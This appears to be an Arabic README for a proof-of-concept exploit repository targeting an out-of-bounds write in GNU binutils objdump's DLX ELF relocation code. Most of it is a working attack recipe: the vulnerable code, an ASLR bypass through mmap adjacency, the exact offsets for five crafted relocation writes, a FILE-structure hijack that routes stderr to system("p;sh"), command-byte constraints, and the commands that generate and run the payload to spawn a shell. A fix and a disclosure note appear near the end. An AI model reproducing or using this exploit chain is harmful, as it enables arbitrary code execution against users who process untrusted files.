
objdump-Out-Of-Bounds-write — Updated!
إثبات مفهوم (PoC) يوضح ثغرة CVE-2026-18220، وهي ثغرة كتابة خارج الحدود (OOB) في الواجهة الخلفية DLX ELF الخاصة بـ GNU binutils (يتم تشغيلها تحديدًا عبر `objdump -g`)
GNU Binutils objdump — كتابة خارج النطاق → FSOP → تنفيذ كود تعسفي
الهدف: GNU Binutils (جميع الإصدارات حتى HEAD) — objdump
البيئة: Debian 13 (Trixie)، glibc 2.41، x86_64
الأثر: تنفيذ كود تعسفي
ناقل الهجوم: ملف ELF مُصنَّع تتم معالجته بواسطة objdump -g
ASLR: تم تجاوزه (فارق mmap حتمي)
شكر وتقدير
شكر كبير إلى bikini على الإشادة وروحه الرياضية فيما يخص هذا الاكتشاف. إنه شخص رائع، وسعدت بالدردشة معه، وقد توصّل إلى بعض النتائج المذهلة بنفسه. اذهبوا لتفقّدوا أعماله!
الثغرة
السبب الجذري — bfd/elf32-dlx.c
يقوم معالج إعادة التوطين R_DLX_RELOC_26_PCREL (elf32_dlx_relocate26) بقراءة/كتابة بحجم 4 بايت عند data + reloc_entry->address دون التحقق من الإزاحة مقابل حجم المقطع. وبما أن الدالة تُرجع bfd_reloc_ok، فإن الفحص العام للحدود في bfd/reloc.c يُتجاوز بالكامل.
// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn = bfd_get_32(abfd, data + reloc_entry->address); // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
vallo = ~(vallo | 0xFC000000) + 1; // sign-extend 26 bits
val = (sym->section->vma + sym->value) - vallo;
insn = (insn & 0xFC000000) | (val & 0x03FFFFFF);
bfd_put_32(abfd, insn, data + reloc_entry->address); // OOB write
return bfd_reloc_ok; // skips bounds check
تتم قراءة الإزاحة reloc_entry->address مباشرةً من ملف ELF ويمكن أن تشير بشكل تعسفي إلى ما يتجاوز مخزن المقطع.
خدعة تقارب mmap
على بنية x86_64، تُوسَّع إزاحات ELF32 بتوسيع صفري، مما يقيّد الكتابات إلى الإزاحات الموجبة. مقطع .debug_info بحجم ≥ 128 كيلوبايت يجبر malloc() على استخدام mmap()، واضعًا المخزن بجوار مقطع بيانات libc:
┌──────────────────────────────────────┐ ← same mmap region
│ .debug_info buffer (192 KB) │ data = 0x7f...d010
│ ├── fake _IO_wide_data (+0x1000) │
│ └── fake _IO_jump_t (+0x2000) │
│ ... │
│ _IO_2_1_stderr_ │ stderr = data + 0x21a4d0
│ _IO_wfile_jumps │ wfile = data + 0x218218
│ system() │ system() = data + 0x87100
└──────────────────────────────────────┘
الفارق stderr - data = 0x21A4D0 ثابت عبر تشغيلات ASLR لأن كلا المنطقتين تُخصَّصان بواسطة نفس mmap أثناء تحميل libc.
سلسلة استغلال FSOP
مسار التنفيذ
objdump writes to stderr ("Can't get contents for section...")
└─► _IO_wfile_overflow(stderr)
└─► _IO_wdoallocbuf(stderr)
└─► _IO_WDOALLOCATE(stderr)
= stderr->_wide_data->_wide_vtable->__doallocate(stderr)
= fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/main/stderr)
= system(stderr)
= system("p;sh") ← stderr._flags[0:4] = "p;sh"
عمليات الكتابة الخمس خارج النطاق (PCREL26)
| # | الهدف (الإزاحة من data) | التأثير |
|---|---|---|
| 0 | 0x21A4CF = stderr − 1 | _flags[0:3] = cmd[0..2] → بداية وسيط system() |
| 1 | 0x21A4F8 = stderr + 0x28 | _IO_write_ptr ≠ 0 → يفرض التفريغ → overflow |
| 2 | 0x21A56F = stderr + 0x9F | _wide_data[0:3] → يشير إلى _IO_wide_data المزيّف |
| 3 | 0x21A5A7 = stderr + 0xD7 | vtable[0:3] → _IO_wfile_jumps |
| 4 | 0x21A4D2 = stderr + 2 | _flags[3] = cmd[3], تم مسح الحشو → فاصل النهاية الصفري |
البنى المزيّفة (في مخزن المقطع)
data + 0x1000 : fake _IO_wide_data
+0xE0 : _wide_vtable → data + 0x2000
data + 0x2000 : fake _IO_jump_t
+0x68 : __doallocate → system()
قيود الأوامر
يدعم الاستغلال أوامر من 2 إلى 4 أحرف. تكتب Reloc 0 في _flags[0:3] وتكتب Reloc 4 في _flags[3] وتمسح الحشو، مما يمنح system() حتى 4 أحرف قبل فاصل النهاية الصفري الطبيعي.
فقط البايتان الأولان مقيدان بتخطيط أعلام FILE في glibc:
| البت | العلم | القيد | السبب |
|---|---|---|---|
| 1 | _IO_UNBUFFERED | cmd[0] & 0x02 == 0 | وإلا فإن _IO_wdoallocbuf يتخطى __doallocate |
| 3 | _IO_NO_WRITES | cmd[0] & 0x08 == 0 | وإلا فإن overflow يُرجع WEOF فورًا |
| 13 | _IO_IS_FILEBUF | cmd[1] & 0x20 != 0 | مطلوب للدخول إلى كتلة doallocate |
cmd[2] و cmd[3] غير مقيّدَين.
| الأمر | البايتات | التأثير |
|---|---|---|
"ps" | 70 73 | عرض العمليات |
"p;sh" | 70 3B 73 68 | تشغيل قشرة تفاعلية ← الأكثر فائدة |
"p;ls" | 70 3B 6C 73 | عرض محتويات الدليل |
"p;id" | 70 3B 69 64 | طباعة uid/gid |
إعادة الإنتاج
المتطلبات الأساسية
# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)
توليد الحمولة وتشغيل الاستغلال
# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin
# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh" # interactive shell
python3 poc_ptrace.py --cmd "p;id" # print uid/gid
python3 poc_ptrace.py # default: "ps"
يعيد الاستغلال المحاولة تلقائيًا حتى 5 مرات عند عدم تطابق البايت الثالث من ASLR (~12% لكل محاولة)، ليصل إلى معدل نجاح يبلغ ~99.998%.
المخرجات المتوقعة
[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh' bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr = 0x005e61e06cad90 (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr = 0x0075b1eda524e0
[*] system = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0 (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20 (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000 (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done
الإصلاح المقترح
أضِف فحصًا للحدود في elf32_dlx_relocate26() قبل الوصول إلى بيانات المقطع:
if (reloc_entry->address + 4 > input_section->size)
return bfd_reloc_outofrange;
الملفات
| الملف | الوصف |
|---|---|
poc_generate.py | يولّد حمولة DLX ELF الخبيثة (exploit.bin) مع 5 عمليات إعادة توطين خارج النطاق |
poc_ptrace.py | استغلال مستقل — تجاوز ASLR عبر ptrace، حلقة إعادة محاولة، دون الحاجة إلى GDB |
exploit.bin | حمولة مولّدة مسبقًا (الأمر الافتراضي "p;sh") |
الإفصاح
تم الإبلاغ عن هذه الثغرة إلى القائمين على مشروع GNU Binutils. يُقدَّم كود الاستغلال لأغراض البحث الأمني المصرّح به فقط.
التصحيح
https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5